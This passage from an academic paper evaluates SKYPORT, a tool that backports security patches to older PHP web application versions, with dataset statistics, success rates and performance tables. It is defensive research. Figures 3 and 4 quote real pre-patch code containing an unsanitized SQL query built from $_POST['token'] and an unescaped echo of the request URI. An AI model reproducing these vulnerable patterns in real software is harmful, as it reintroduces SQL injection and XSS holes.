such dynamic functions and improve the accuracy in locating

sink functions.

Other than the major functionality improvement, we also

fix three major bugs of PHPJoern for SKYPORT.

• or throw syntax. We added parsing and code property

graph (CPG) generation supports for the or throw syntax,

which is used by some web vulnerabilities, e.g., CVE-2015-

5078.

• Constant condition in switch statement. We fixed the

incorrect control-flow edges generated by PHPJoern, when

the condition of switch is a constant value.

• Data-flows for foreach’s iterable_expression. We added

data-flow paths between the foreach’s iterable_expression

and the internal variables in foreach block.

Other than PHPJoern, we also reused and extended the TAC

(Three-Address Code) representation and the related transfor-

mation code from NAVEX [10]. Our extension of NAVEX

includes new AST node types (e.g., AST_MAGIC_CONST) and

new AST operation symbols (e.g., BINARY_SHIFT_RIGHT
for >>, BINARY_SHIFT_RIGHT for <<). We used Wolfram-

Script [7] for bool computation in the backportable analysis
module.

5.2 Dataset

In this subsection, we describe our dataset used in the

evaluation, which has 155 patches (i.e., 155 pre-patch and

post-patch versions) and 1,526 vulnerable target versions. We

break down all the patches based on the CVE types in Table 1:

Server-side XSS is the most popular vulnerability and PHP

Object injection is the least. We also break down all the

patches based on web application types in Table 3: WordPress,
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Table 3: Dataset of target CVEs and PHP applications.

CMS Name # CVEs # Versions # <CVE,Version>
WordPress 34 187 430

PHPMyAdmin 29 108 257

PrestaShop 11 34 101

RoundcubeMail 8 48 76

Mantisbt 24 74 198

Piwigo 11 37 108

OpenEMR 11 20 70

phpipam 3 6 13

MISP 9 55 118

LimeSurvey 15 82 155

Total 155 651 1,526

one popular web application, has the most number of CVEs

and corresponding vulnerable target versions.

We now describe how we manually generate the dataset

via two phases. The dataset generation takes two authors 20

human hours in total. First, we collect patches and CVEs

by selecting ten most popular PHP projects on Github with

>1K starts as shown Table 3 and their corresponding CVEs

and patch commits from 2014 to 2020. In total, we obtain

269 CVEs and patches. Then, we manually check all the 269

CVEs and patches and exclude 114 CVEs because they are

either out-of-scope (i.e., not injection vulnerabilities), with

incorrect patch commit URLs, or outside our patch model

(e.g., removing sink functions or modifying configuration

like .htaccess). A detailed breakdown can be found in Table 4.

Second, we collect vulnerable target versions via two methods:

(i) checking the vulnerability information (e.g., the declared

affected version range) in NVD [3] and MITRE [1], and (ii)

manually analyzing the application source code of affected

versions and removing those with errors in the database, e.g.,

without corresponding files of the sink functions.

5.2.1 Dataset Statistics

In this part, we illustrate some statistics of our dataset and

further explain why security patch backporting is generally

challenging.

First, we find that 98 out of 155 patches contain vulnerabil-

ity irrelevant modifications. Some modifications may lead to

a backward compatibility issue and some may lead to a patch

deployment issue. We summarize them into three categories:

• Functionality Modifications. Security patches may change

existing functionality or add new functionality while fixing

vulnerabilities. For instance, the security patch for CVE-

2014-7146 not only fixes the arbitrary PHP code vulnera-

bility but also adds the function to retrieve the file contents.

• Variable or Function Name Modifications. Some security

patches modify variable or function names. For example,

the security patch for CVE-2014-1609 changes many vari-

able names, such as $result to $t_result and $t_users
to $t_count.

• Miscellaneous Modifications. Some security patches mod-

ify version numbers, add comments or adjust the indentation

Table 4: The reasons for excluding some CVEs.

Reason for Exclusion Count
Vulnerability type not in scope 88

No patch file 18

Does not fit patch model 8

Total 114

Table 5: Overall Experiment Results.

Patches Target Versions Success Rate

Phase 0: Dataset 155 1,526 N/A

Phase 1: SBP Verif.&Gen. 111 1,137 71.61

Phase 2: SBV Verif. 98 750 65.96

Phase 3: SBP→SBV 98 750 100.00

when fixing vulnerabilities, such as CVE-2018-15139,

CVE-2017-16510, and CVE-2019-16220.

Second, let us look at the target versions. We find that 1,071

of 1,526 target versions have code location changes around

the patch, which lead to a failure when directly applying the

original patch. At the same time, we also find that 563 of 1,526

target versions do not have exactly the same vulnerable logic

as the version that the original patch is targeting. Note that

these target versions are not SBVs, thus not being backportable.

6 SKYPORT Evaluation
In this section, we present the evaluation of SKYPORT from

three aspects: backporting results, comparison with state of

the art, and performance overhead.

6.1 Results

In this subsection, we first give an overview of the results and

then break them down into details by different steps.

6.1.1 Results Overview

Table 5 shows an overview of SKYPORT’s results in each

step. The first metric is the success rate, which indicates

the percentage of correctly-verified SBPs, SBVs, and patch

deployment. The result shows that SKYPORT successfully

achieves its tasks in each step with 100% rate, i.e., the

number in each step matches our manual analysis of SBPs

and SBVs with no false positives and negatives. Here are

the numbers of remaining patches and target versions after

each step. In the first step, SKYPORT verifies that 111 out

of 155 security patches are backportable; in the second step,

SKYPORT verifies that 750 target versions are SBVs, which

further reduces the number of SBPs to 98; in the third step,

SKYPORT successfully deploys all 98 SBPs upon on 750 SBVs

and fixes the corresponding vulnerabilities.

Note that the evaluation results on success rates of SBPs

and SBVs are performed by five analysts that are independent

of the paper authors. The total inspection takes about 175

human hours. The inspection of each SBP and SBV involves at

least two analysts and if they disagree on the results, we will

include a third analyst and let them have a discussion to reach

a consensus.
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post-patch

pre-patchecho '<a href="https://' . $_SERVER['HTTP_HOST']
. $_SERVER['REQUEST_URI'] . '" title="' . '...';

echo '<a href="https://' . $_SERVER['HTTP_HOST'] 
. $this->createUrl("admin/globalsettings/sa") . '" title="' . '...';

if ( 0 == $t_type || empty( $t_matches['script'] ) ||
      3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {
    return ($p_return_absolute ? $t_path . '/' : '') . 'index.php';
}
...

if ( 0 == $t_type || empty( $t_matches['script'] ) ||
      3 == $t_type && preg_match( '@(?:[^:]*)?://@', $t_url ) > 0 ) {
    return ($p_return_absolute ? $t_path . '/' : '') . 'index.php';
}
...

pre-patch

post-patch

a) no subset relationship between reaching conditions

b) no subset relationship between symbolic expressions

Figure 3: Patches that do not meet PSBP.

6.1.2 Results Breakdown

In this part, we break down the results via different steps and

give some statistics and case studies on each step.

Step I Results: SBP Verification and Generation. In this

step, SKYPORT extracts 280 vulnerable sink functions for

155 patches and verifies that 111 patches with 197 sink

functions are backportable. Let us start from describing these

backportable patches and then these that cannot be backported.

First, all 111 patches restrict the input space of 197 sink

functions, i.e., limiting their sink capabilities. Specifically,

94 sink functions have new control-flow constraints (limiting

reaching conditions), 52 sink functions have new data-flow

sanitization (i.e., limiting data-flow expressions), and the rest

51 have both new control-flow constraints and data-flow

sanitization.

Second, here is a breakdown of the rest 44 patches with 83

sink functions.

• 8 patches fail on PSBP-a. Figure 3 (a) gives an example to

illustrate such patches. Specifically, the pre-patch version

adopts a regular expression “@(?:[ˆ:]*)?://@” in the

condition check of a branch statement opposed to another

regular expression “@(?:[ˆ:]*)?:/*@” in the post-patch

version. That is, there are no subset relations between the

reaching conditions of the two versions.

• 35 patches fail on PSBP-b. Figure 3 (b) illustrates

such an example that fails on PSBP-b. Specifically, one

variable, i.e., $_SERVER[“REQUEST_URL”], in the sink

function echo of the pre-patch version is replaced with

$this->createUrl(“admin/globalsetting/sa”) in

the post-patch version. Therefore, there are no subset

relations between data-flow expressions of the pre-patch

and post-patch versions.

• 1 patch fails on PSBP-c. In this patch, there exists a

database read operation query() in the data-flow expres-

sion of critical parameters. Since it is difficult to judge

whether the results of the two executions are consistent,

a) Official Patch for CVE-2015-5078 on LimeSurvey 
2.06_plus_150612

1
2
3
4
5
6

7
8
9

10
11
12
13
14
15

    <?php
    $utquery = "UPDATE {{tokens_$surveyid}}\n";
    if (isTokenCompletedDatestamped($thissurvey)) {
        if (isset($usesleft) && $usesleft <= 1) {
          $utquery.="SET usesleft=usesleft-1, completed='$submitdate'\n";
          $utquery .= "SET usesleft=usesleft-1, completed=" . 
                                                                             dbQuoteAll($submitdate);
        } else {
            $utquery .= "SET usesleft=usesleft-1\n";
        }
    } else {
        ...
    }
    $utquery .= "WHERE token=" . dbQuoteAll($_POST['token']);
    $utresult = dbExecuteAssoc($utquery);
    ?>

+
-

b)   LimeSurvey 2.00_plus_121002

    <?php
    $utquery = "UPDATE {{tokens_$surveyid}}\n";
    if (isTokenCompletedDatestamped($thissurvey)) {
        if (isset($usesleft) && $usesleft <= 1) {
          $utquery.="SET usesleft=usesleft-1, completed='$submitdate'\n";
        } else {
            $utquery .= "SET usesleft=usesleft-1\n";
        }
    } else {
        ...
    }
    $utquery .= "WHERE token='" . $_POST['token'] . "'";
    $utresult = dbExecuteAssoc($utquery);
    ?>

1
2
3
4
5
6
7
8
9

10
11
12
13
14

Figure 4: A case that violates PSBV -b.

SKYPORT conservatively recognizes this operation as non-

deterministic.

Step II Results: SBV Verification. In this part, SKYPORT

verifies that 750 out of 1,137 versions are SBVs. Now let us

describe why the rest versions are not backportable and break

the reasons down.

• 13 versions without the same sink function as the patch.
There are two major reasons: i) the sink functions

are introduced at higher versions when implementing

new functionalities, and ii) lower versions use other

functions that are similar to the sink function. For example,

the sink function for the patch of CVE-2017-5608 in

Piwigo is single_insert(), while version 2.2.2 uses

mass_insert() instead. These two sink functions have

different though similar semantics.

• 263 versions violating PSBV -a. We consider CVE-2016-

10083 of Piwigo as an example. The pre-patch version, i.e.,

Piwigo 2.8.3, and an older version have different control-

flow constraints in an if statement. Specifically, the regular

expression is /^[\w-]+$/ in the pre-patch version as

opposed to /^\w+$/ in the older version.

• 111 version violating PSBV -b. Taking Figure 4 as an exam-

ple, the pre-patch version sanitizes $_POST[’token’] at

Line 13 in (a), while the target, old version in (b) does not,

which violates PSBV -b.
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Table 6: Patch Result Comparison for 1,526 Target Versions

among Auto-upgrade, Direct Patch, and SKYPORT.

Direct patch Strict upgrade Lazy upgrade SKYPORT

Success 455 39 149 750

Failure 1,071 1,487 1,377 776

Step III Results: Patch Deployment (SBP→SBV).
SKYPORT successfully deploys all 98 SBPs upon 750

affected safely backportable versions. For example, the patch

for CVE-2014-9281 (an XSS vulnerability of MantisBT) is

developed at 1.2.17, while SKYPORT successfully deploys

the generated SBP on the version 1.0.4. There are 38 versions

between these two spanning over 3,009 days.

6.2 Comparison with State of the Art

In this subsection, we compare SKYPORT with three state-of-

the-art approaches in backporting security patches.

• Direct Patch Application. This approach directly applies

the official patch upon the target version using the “patch”
command.

• Strict Auto-upgrade. This approach uses auto-upgrade

APIs provided by the web application framework if the

supported PHP versions between two web application

versions are the same. Note that we use PHPLint [6] to

check PHP version compatibilities of web applications.

• Lazy Auto-upgrade. This approach is a relax of strict auto-

upgrade, which considers an auto-upgrade succeeds if the

PHP version conflicts only exist for test or demo files.

Table 6 shows the overall results among four approaches

including SKYPORT. Clearly, SKYPORT outperforms all

state-of-the-art approaches in fixing vulnerabilities in target

versions of web applications.

6.2.1 Breakdown of Direct Patch Application Failures

In this part, we break down all the failure cases of direct patch

applications.

• Code conflict (1,049 versions). When the target version has

a different patching context to the pre-patch version, the

“patch” command raises a “code conflict” error. Since there

might exist many code changes between the target and the

pre-patch versions, such conflict is very common in direct

patch application.

• No such file or directory (5 versions). When files modified

by the official patch do not exist in the target version, a “no
such file or directory” error is reported. It is worth noting

that none of these files are relevant to the vulnerability fix.

Therefore, our approach does not meet these problems.

• Reversed patch detected (17 versions). In some scenarios,

the code lines modified by the patch are the same as the

ones in the post-patch version, which will raise a “reversed
patch detected” error.

Table 7: Performance (Seconds) of SKYPORT Broken-down

by Different Modules in Average, Medium and Medium

Absolute Deviation (MAD).

SKYPORT Module Average Medium MAD

Patch Affection Analysis 666.49s 40.28s 44.92s

Sink Capability Extraction for SBP 695.32s 72.00s 88.96s

Sink Capability Extraction for SBV 4,064.82s 527.50s 715.36s

Backportable Analysis 129.09s 17.00s 23.72s

Patch Deployment 4.80s 1.00s 0.00s

End-to-end Total 6,459.75s 895.47s 1,181.09s

6.2.2 Breakdown of Auto-upgrade Failures

In this part, we break down all the 1,487 versions that auto-

upgrade failed to backport and fix vulnerabilities.

• Versions without Auto-upgrade APIs (624 versions). Not

all web application frameworks provide auto-upgrade

APIs. In our datasets, five frameworks (Piwigo, WordPress,

LimeSurvey, PrestaShop and MISP) do provide and five do

not, which contribute to 624 target old versions .

• Parsing Errors in Core Files (753 versions). In these

versions, when using PHPLint with required compatible

PHP versions to analyze, PHP parse errors or PHP fa-

tal errors will be reported in some core files, such as

wp-includes/canonical.php of WordPress 5.8.1 in PHP

5.4, or Core/Domain/Currency/ValueObject/
Precision.php of PrestaShop 1.7.8.0 in PHP 7.0.

• Parsing Errors in Non-core Files (108 versions). In these

versions, the PHP errors occur only in non-core files (e.g.,

demo or test files). For example, tools/test_piwigo.php
of Piwigo 11.5.0 in PHP 5.4).

• Parsing Warnings (2 versions). In these versions, only PHP

warnings will appear, which will not affect the normal exe-

cution of the program. For instance, PHP Strict Standards

will be reported, when using PHPLint with PHP 5.6 to ana-

lyze wp-includes/sodium_compat/src/Core/Base64/
Common.php in WordPress 5.8.1.

6.3 Performance

In this subsection, we evaluate the performance of SKYPORT

and break down the performance by different modules of

SKYPORT in Table 7. First, both Patch Affection Analysis and

Sink Capability Extraction modules are heavyweight, because

they rely on static analysis to follow each sink path, collect

reaching conditions and generate data-flow expressions. Note

that Sink Capability Extraction for SBP is faster than the one

for SBV, because our Patch Affection Analysis filters many

irrelevant sink functions and the number of analyzed sinks for

SBP is much smaller than SBV. Second, Backportable Analysis

and Patch Deployment modules are relatively lightweight.

Backportable Analysis mainly relies on the analysis of

boolean operations and Patch Deployment on locating and

replacing PHP code.
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Table 8: Breakdown of Test Cases Generated by Each Method

in the Functionality Test (x in x/y means the number of test

cases triggering SBP modified code and y in x/y means the

total number of generated test cases).

App CVE-ID Version Breakdown (# of SBP-related / # of Total)
Tutotrial Crawlers Monkey Scanner Manual

L
im

eS
u
rv

ey CVE-2020-11456
4.0.0 11 / 1,182 1 / 599 0 / 543 0 / 823 6 / 6

4.0.1 11 / 1,182 1 / 488 0 / 1,425 0 / 1,389 6 / 6

CVE-2020-25798
3.1.0 2 / 1,037 0 / 1,470 0 / 11,853 0 / 936 6 / 6

3.14.4 2 / 1,067 0 / 1,609 0 / 4,947 0 / 551 6 / 6

O
p
en

E
M

R

CVE-2018-10571

5.0.0 2 / 973 4 / 1,198 0 / 1,178 0 / 482 6 / 6

5.0.0.5 2 / 979 2 / 1,190 0 / 1,370 0 / 1,607 6 / 6

4.1.1 2 / 912 1 / 616 0 / 596 0 / 368 6 / 6

CVE-2018-10572

5.0.0 3 / 826 1 / 1,125 0 / 1,291 0 / 1,136 6 / 6

5.0.0.5 3 / 854 2 / 925 0 / 493 0 / 372 6 / 6

4.1.1 3 / 819 2 / 1,031 0 / 579 0 / 295 6 / 6

CVE-2018-15139

5.0.0 2 / 812 2 / 1,188 0 / 1,341 0 / 273 6 / 6

5.0.0.5 2 / 821 0 / 708 0 / 1,381 0 / 871 6 / 6

4.2.0.3 2 / 943 1 / 1,335 1 / 728 0 / 486 6 / 6

M
an

ti
sB

T

CVE-2017-12061
1.3.10 1 / 873 0 / 328 0 / 1,622 0 / 341 4 / 4

2.5.0 1 / 895 0 / 215 0 / 606 0 / 672 4 / 4

CVE-2017-12062
2.2.4 4 / 1,006 0 / 194 58 / 1,483 0 / 1,536 4 / 4

2.5.0 4 / 991 48 / 433 0 / 407 0 / 688 4 / 4

CVE-2014-9281
1.2.10 1 / 556 0 / 252 0 / 868 0 / 292 4 / 4

1.0.4 2 / 615 0 / 262 0 / 1,785 0 / 286 4 / 4

CVE-2014-9270
1.2.9 8 / 486 0 / 283 0 / 467 0 / 329 4 / 4

1.2.15 7 / 520 0 / 299 0 / 473 0 / 320 4 / 4

P
iw

ig
o

CVE-2017-10682

2.9.0 3 / 247 0 / 2,285 0 / 6,240 0 / 588 3 / 3

2.6.5 3 / 215 0 / 1,494 0 / 246 0 / 331 3 / 3

2.4.5 3 / 283 4 / 1,323 0 / 1,482 0 / 304 3 / 3

CVE-2017-17824

2.9.0 1 / 247 0 / 1,241 1 / 3,698 0 / 404 3 / 3

2.6.5 1 / 215 1 / 758 0 / 645 0 / 330 3 / 3

2.4.5 1 / 315 1 / 440 0 / 1,935 0 / 334 3 / 3

7 SKYPORT-patched Web App Evaluation

In this section, we evaluate SKYPORT-patched web apps.

Because the evaluation involves manual works, such as real

web application environment setup and attack input collection,

our evaluation is based upon a subset of web applications

patched by SKYPORT. Our criterion is to select vulnerabilities

with exploits and then those belonging to the top four web

frameworks. In total, we select 11 patches and 27 versions

as shown in Table 10. All the experiments in this section are

performed on a Linux machine with 2 Intel Xeon E7-4820

processors and 378 GB RAM. The evaluation answers the

following three Research Questions (RQs):

• RQ1 [Security]: Can SKYPORT-patched web applications

prevent attacks against the patch-targeted vulnerability?

• RQ2 [Functionality]: Are SKYPORT-patched web applica-

tions still functioning correctly as they do before patching?

• RQ3 [Performance]: What is the performance overhead

introduced by SKYPORT on the target version comparing

with the official patch on the pre-patch version?

An overview of the answers to all three questions can be

found in Table 10. We also describe them in detail below.

Table 9: Breakdown of 1% Sampling of Test Cases Generated

by Each Method in the Functionality Test (x in x/y means

the number of sampled test cases and y in x/y means the

total number of generated test cases that do not trigger SBP
modified code).

App CVE-ID Version Breakdown (# of 1% sampling / # of Total)
Tutotrial Crawlers Monkey Scanner

L
im

eS
u
rv

ey CVE-2020-11456
4.0.0 12 / 1,171 6 / 598 5 / 543 8 / 823

4.0.1 11 / 1,171 6 / 487 14 / 1,425 14 / 1,389

CVE-2020-25798
3.1.0 10 / 1,035 14 / 1,470 121 / 11,853 9 / 936

3.14.4 10 / 1,065 16 / 1,609 49 / 4,947 5 / 551

O
p
en

E
M

R

CVE-2018-10571

5.0.0 9 / 971 12 / 1,194 12 / 1,178 5 / 482

5.0.0.5 10 / 977 12 / 1,188 13 / 1,370 16 / 1,607

4.1.1 9 / 910 6 / 615 6 / 596 3 / 368

CVE-2018-10572

5.0.0 8 / 823 11 / 1,124 12 / 1,291 11 / 1,136

5.0.0.5 8 / 851 9 / 923 5 / 493 3 / 372

4.1.1 8 / 816 10 / 1,029 6 / 579 3 / 295

CVE-2018-15139

5.0.0 8 / 810 12 / 1,186 13 / 1,341 3 / 273

5.0.0.5 8 / 819 7 / 708 15 / 1,381 9 / 871

4.2.0.3 9 / 941 13 / 1,334 7 / 727 5 / 486

M
an

ti
sB

T

CVE-2017-12061
1.3.10 8 / 872 3 / 328 16 / 1,622 3 / 341

2.5.0 9 / 894 2 / 215 6 / 606 7 / 672

CVE-2017-12062
2.2.4 10 / 1,002 2 / 194 15 / 1,425 15 / 1,536

2.5.0 10 / 987 4 / 385 4 / 407 7 / 688

CVE-2014-9281
1.2.10 6 / 555 2 / 252 9 / 868 3 / 292

1.0.4 6 / 613 3 / 262 20 / 1,785 3 / 286

CVE-2014-9270
1.2.9 5 / 478 3 / 283 5 / 467 3 / 329

1.2.15 5 / 513 3 / 299 5 / 473 3 / 320

P
iw

ig
o

CVE-2017-10682

2.9.0 2 / 244 24 / 2,285 64 / 6,240 6 / 588

2.6.5 2 / 212 16 / 1,494 2 / 246 3 / 331

2.4.5 3 / 280 13 / 1,319 15 / 1,482 3 / 304

CVE-2017-17824

2.9.0 2 / 246 13 / 1,241 38 / 3,697 4 / 404

2.6.5 2 / 214 8 / 757 6 / 645 3 / 330

2.4.5 3 / 314 4 / 439 19 / 1,935 3 / 334

7.1 RQ1: Security

In this Research Question, we evaluate the security of

SKYPORT-patched web applications, i.e., whether they are

still vulnerable to attacks targeting the original vulnerability.

Our methodology is as follows. We collect exploits targeting

these CVEs in Table 10 from online locations, e.g., the CVE

database, and then verify the effectiveness of these exploits by

testing them on the pre-patch and target versions. If an exploit

can attack the pre-patch and the history versions, we also

apply it on the SKYPORT-patched versions. The “Security

Test Pass Ratio” in Table 10 shows the results, i.e., SKYPORT-

patched web applications can defend against the original

exploit according to our evaluation.

7.2 RQ2: Functionality

In this Research Question, we evaluate the functionalities of

SKYPORT-patched web applications. Here are how we collect

test cases for SKYPORT-patched web applications. First, we

follow prior work [11] to collect test cases via tutorials, spider,

monkey testing and vulnerability scanner. Second, we also

read CVE descriptions and manually construct test cases that

can trigger the vulnerable sink on SKYPORT-patched web

applications. Third, from the previous two steps, we generate

two sets of our own test cases:
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Table 10: Evaluation Results of the Safely Backportable Patch in its Security, Functionality and Performance.

Application CVE-ID Pre-patched
Version

Test Target
Versions

Security Test
Pass Ratio

Functionality Test Pass Ratio Performance Overhead

SBP-related 1% sampling Normal Input (O/S)1,2 Attack Input (O/S)1,2

LimeSurvey
CVE-2020-11456 4.1.11 4.0.0, 4.0.1 2 / 2 36 / 36 76 / 76 18.65%/21.78% 7.26%/12.51%
CVE-2020-25798 3.21.1 3.14.4, 3.1.0 2 / 2 16 / 16 234 / 234 5.41%/7.66% 6.91%/12.72%

OpenEMR
CVE-2018-10571 5.0.0.6 5.0.0, 5.0.0.5, 4.1.1 3 / 3 31 / 31 113 / 113 7.71%/11.94% 7.42%/8.23%
CVE-2018-10572 5.0.0.6 5.0.0, 5.0.0.5, 4.1.1 3 / 3 32 / 32 94 / 94 1.86%/2.69% 0.99%/1.58%
CVE-2018-15139 5.0.1.3 5.0.0, 5.0.0.5, 4.2.0.3 3 / 3 28 / 28 109 / 109 2.23%/3.40% -3.86%/-2.66%

MantisBT

CVE-2017-12061 1.3.11 1.3.10, 2.5.0 2 / 2 10 / 10 54 / 54 3.46%/9.31% 11.31%/17.23%
CVE-2017-12062 2.5.1 2.2.4, 2.5.0 2 / 2 122 / 122 67 / 67 0.29%/0.82% 1.86%/4.80%
CVE-2014-9281 1.2.17 1.2.10, 1.0.4 2 / 2 11 / 11 52 / 52 10.47%/22.65% 5.48%/13.32%

CVE-2014-9270 3 1.2.17 1.2.15, 1.2.9 2 / 2 23 / 23 32 / 32 2.93%/4.62% 6.55%/12.58%

Piwigo
CVE-2017-10682 2.9.1 2.9.0, 2.6.5, 2.4.5 3 / 3 22 / 22 153 / 153 6.13%/10.95% -49.57%/-48.10%
CVE-2017-17824 2.9.2 2.9.0, 2.6.5, 2.4.5 3 / 3 15 / 15 105 / 105 2.43%/3.20% -97.39%/-97.14%

Total 11 11 27 27 / 27 346 / 346 1,089 / 1,089 - -

1 O(fficial Patch) = the overhead that is introduce by the official patch on the pre-patched version.
2 S(afely Backportable Patch) = the overhead that is introduced by the SBP on the pre-patched version.
3 The SBP generated by SKYPORT involves a loop statement.

• SBP-related Test Cases. We run all the collected test cases

and record a test case if it triggers the SBP. A breakdown of

this set of test cases is shown in Table 8. Interestingly, SBP
modifications and the vulnerability are often very hard to

trigger, i.e., only a small number of test cases can trigger

them. This is understandable: When a vulnerability is a

corner case, it makes the vulnerability harder to discover.

• 1% Sampling of Collected Test Cases. We randomly select

1% of test cases (which do not trigger the SBP) in each

collection methods. A brekdown of this 1% sampling

dataset is shown in Table 9.

Next, we feed our two sets of the test cases into the

SKYPORT-patched versions and record the requests in terms

of external and global variables. We have to replay the

requests in terms of external and global variables to avoid

non-determinism. Then, we replay these recorded requests

in the target version and determine whether both responses

(including HTTP responses, databases, and other external

requests if they exist) are consistent.

Note that we sample 1% of total collected test cases,

because many CMSes have deployed anti-replay techniques

(e.g., the adoption of random tokens) and the reply involves

external and global variables. Thus, our replay involves much

manual work and a full test of the entire collected cases is not

scalable given the amount of human work.

Single Patch Results. In this part, we only patch a target

version with a single SBP and evaluate the functionality. The

“Functionality Test Pass Ratio” column in Table 10 shows the

evaluation results for both the SBP-related and 1% sampling

test cases. The responses for all the test cases are the same

between SKYPORT-patched and target versions no matter the

test cases trigger the SBP or not.

Multiple Patch Results. In this part, we patch a target

version with multiple SBPs and evaluate its functionality. The

“CVEs Patched via SKYPORT” column in both Table 11 and

Table 12 shows the sequence of CVEs and corresponding

SBPs that SKYPORT generates. For each target version,

SKYPORT applies all the SBPs in sequence and then tests

SKYPORT-patched version’s functionality. The “Test Case

Breakdown” in both tables shows a breakdown of all the test

cases and the results are in the “Test Pass Ratio” column.

SKYPORT preserves web applications’ functionalities even

when multiple patches are backported and deployed on a

target version.

7.3 RQ3: Performance

In this Research Question, we evaluate the performance over-

head of SKYPORT-patched web applications. We measure

the execution time of the vulnerable logic in both the pre-

patch and target versions and the time of the safe logic in

both post-patch and SKYPORT-patched versions with both

normal and attack test cases. Then, we calculate and compare

both performance overheads of the original patch and SBP.

Specifically, we instrument the source file with the sink to

calculate the gap between the load time of the file and the

finish time of the sink or the exit time of the current file, and

use this time gap as the execution time. Each execution time

is calculated as the average of the time in 1,000 tests.

Table 7 shows that SBPs usually introduce a little higher

overhead than the official patches. This is because SBPs re-

execute the code from the function/file entry-point to the

sink function to enforce the extracted patch semantics. We

also observe that, under some malicious test cases, both the

official patches and the SBPs introduce negative overhead.

After a further investigation, we find that the patch semantics

abort the current execution while the pre-patched version

needs to finish the sink function execution. As a summary,

our SBPs introduce negligible overhead when comparing with

the official patches.

8 Discussion
In this section, we discuss the limitations of our approach,

including some future work.
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Table 11: Functionality Evaluation with Multiple SBPs Deployed on an SBV (SBP-related test cases).

Application Version CVEs Patched via SKYPORT
Test Case Breakdown (# of SBP-related / # of Total)

Test Pass Ratio
Tutorial Crawlers Monkey Scanner Manual

OpenEMR

5.0.0 CVE-2018-10571, CVE-2018-10572, CVE-2018-15139 7 / 816 2 / 1,174 0 / 1,270 0 / 602 18 / 18 27 / 27

5.0.0.5 CVE-2018-10571, CVE-2018-10572, CVE-2018-15139 7 / 865 2 / 950 0 / 1,102 0 / 935 18 / 18 27 / 27

4.1.1 CVE-2018-10571, CVE-2018-10572 5 / 863 1 / 809 0 / 583 0 / 327 12 / 12 18 / 18

MantisBT 2.5.0 CVE-2017-12061, CVE-2017-12062 5 / 901 48 / 340 0 / 506 0 / 674 8 / 8 61 / 61

Piwigo

2.9.0 CVE-2017-10682, CVE-2017-17824 4 / 297 0 / 1,735 1 / 5,013 0 / 496 6 / 6 11 / 11

2.6.5 CVE-2017-10682, CVE-2017-17824 4 / 244 1 / 1,104 0 / 447 0 / 339 6 / 6 11 / 11

2.4.5 CVE-2017-10682, CVE-2017-17824 4 / 300 2 / 890 0 / 1,721 0 / 320 6 / 6 12 / 12

Table 12: Functionality Evaluation with Multiple SBPs Deployed on an SBV (1% sampling of non SBP-related test cases).

Application Version CVEs Patched via SKYPORT
Test Case Breakdown (# of 1% sampling / # of Total)

Test Pass Ratio
Tutorial Crawlers Monkey Scanner

OpenEMR

5.0.0 CVE-2018-10571, CVE-2018-10572, CVE-2018-15139 8 / 809 11 / 1,172 13 / 1,270 6 / 602 38 / 38

5.0.0.5 CVE-2018-10571, CVE-2018-10572, CVE-2018-15139 9 / 858 10 / 948 11 / 1,102 9 / 935 39 / 39

4.1.1 CVE-2018-10571, CVE-2018-10572 9 / 858 8 / 808 5 / 583 3 / 327 25 / 25

MantisBT 2.5.0 CVE-2017-12061, CVE-2017-12062 9 / 896 3 / 292 5 / 506 7 / 674 24 / 24

Piwigo

2.9.0 CVE-2017-10682, CVE-2017-17824 3 / 293 18 / 1,735 50 / 5,012 5 / 496 76 / 76

2.6.5 CVE-2017-10682, CVE-2017-17824 2 / 240 11 / 1,103 4 / 447 4 / 339 21 / 21

2.4.5 CVE-2017-10682, CVE-2017-17824 3 / 296 9 / 888 17 / 1721 3 / 320 32 / 32

Sink Capability Comparison. One limitation of our ap-

proach is that our current implementation conservatively

identifies subset relations between two reaching conditions

and data-flow expressions if a string comparison exists.

Although such cases are very rare in practice, they may lead

to false negatives. In the future, we plan to enhance string

solvers [24, 79] and incorporate them into SKYPORT.

SBP Management. Another potential limitation is that

SBPs will lead to more fragmented versions of web appli-

cations, causing potential management issues. Even so, we

would like to note that web application fragmentation is an

existing issue because many website developers add their own

code. More importantly, Table 11 shows that the application

of multiple SBP can still preserve the functionality of web

applications while fixing corresponding vulnerabilities. Mean-

while, as a long-term solution, if upgrade APIs exist for certain

web applications, we still recommend administrators upgrade

web applications to avoid further version fragmentations.

Adaption to non-PHP Web Applications. Our prototype

of SKYPORT is designed for PHP applications; at the same

time, the general approach on backporting security patches is

applicable to other non-PHP (e.g., Node.js and Java) web

applications. For the adaptation, we need to port all four

modules with the static analysis tools in other languages (e.g.,

Soot [70] for Java).

9 Related Work
In this section, we present the most related work to our paper.

Web Application Vulnerability. Web application vulnera-

bilities remain to be one of the major security threats today.

Previous works usually use program analysis tools to detect

web vulnerabilities. Due to the popularity, plenty of works

focus on detecting PHP application vulnerabilities [21, 35,

62, 75], while recently there are also several works that

detect vulnerabilities of Node.js applications [20, 41, 42,

54, 63] and Java applications [46, 52, 60]. To analyze PHP

applications, Backes et al. designed the PHPJoern [12] tool

which borrows the concept of the code property graph [77] to

PHP code analysis. Based on PHPJoern, Alhuzali et al. [9,10]

proposed the navigation graph to model relationships among

several HTTP requests, which help to detect inter-request

vulnerabilities.

Though a general vulnerability detection tool (e.g., PH-

PJoern [12], NAVEX [10]) can detect multiple types of

vulnerabilities (e.g., cross-site scripting and SQL injection),

some works mainly focus on detecting a specific type of

vulnerabilities. SQLCIV [71] is designed to detect SQL

injection vulnerabilities, while [22,39] considered the second-

order SQL injection vulnerabilities. To detect file upload

vulnerabilities, UChecker [30] uses symbolic execution and

features a vulnerability-oriented locality analysis to reduce

the workload of symbolic execution, while FUSE [40] uses

fuzzing techniques to mutate normal upload requests and

bypass content-filter checks. Dahse et al. [23] presented an

automatic technique to detect and exploit PHP object injection

(POI) vulnerabilities by chaining code gadgets.
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Compared with the vulnerabilities that have explicit sink

functions (e.g., XSS [17] and SQLi), logic flaws are more

difficult to detect. Existing works mine behavioral specifica-

tions [28] or behavioral patterns [58] from normal operations

and network traces to detect common logic flaws in web

applications. Besides, Sun et al. [68] used invariant analysis

to detect the specific payment logic flaws in e-commerce web

applications. Access control vulnerability is a traditional logic

flaw for websites. Sun et al. [67] proposed inferring privileged

pages from per-role sitemaps and identifying missed access

controls before these pages, while MACE [53] identifies

privilege escalation vulnerabilities through authorization

state inconsistency checking. To detects cross-site request

forgery (CSRF) vulnerabilities, Deemon [59] models the

execution traces, data-flows, and architecture tiers in a unified,

comprehensive property graph and detects such vulnerabilities

by querying the graph. Execution After Redirect (EAR)

